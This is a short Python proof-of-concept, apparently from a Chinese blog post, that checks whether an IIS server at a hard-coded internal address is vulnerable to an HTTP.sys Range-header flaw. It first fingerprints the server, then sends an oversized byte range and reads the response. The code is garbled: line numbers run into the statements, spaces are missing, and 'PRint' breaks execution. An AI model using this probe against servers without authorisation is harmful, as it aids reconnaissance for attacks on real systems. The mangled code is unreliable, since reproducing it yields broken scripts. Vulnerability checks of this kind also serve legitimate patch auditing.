1import socket2import random3ipAddr ="10.1.89.20"4hexAllFfff ="18446744073709551615"5req1 ="GET / HTTP/1.0\r\n\r\n"6req ="GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-"+ hexAllFfff +"\r\n\r\n"7PRint("[*] Audit Started")8client_socket =socket.socket(socket.AF_INET, socket.SOCK_STREAM)9client_socket.connect((ipAddr,80))10client_socket.send(req1.encode())11boringResp = client_socket.recv(1024).decode()12if"Microsoft"notinboringResp:13print("[*] Not IIS")14exit(0)15client_socket.close()16client_socket =socket.socket(socket.AF_INET, socket.SOCK_STREAM)17client_socket.connect((ipAddr,80))18client_socket.send(req.encode())19goodResp = client_socket.recv(1024).decode()20if"Requested Range Not Satisfiable"ingoodResp:21print("[!!] Looks VULN")22elif"The request has an invalid header name"ingoodResp:23print("[*] Looks Patched")24else:25print("[*] Unexpected response, cannot discern patch status")
View Code
这个漏洞则这几天也火了一把,poc附上。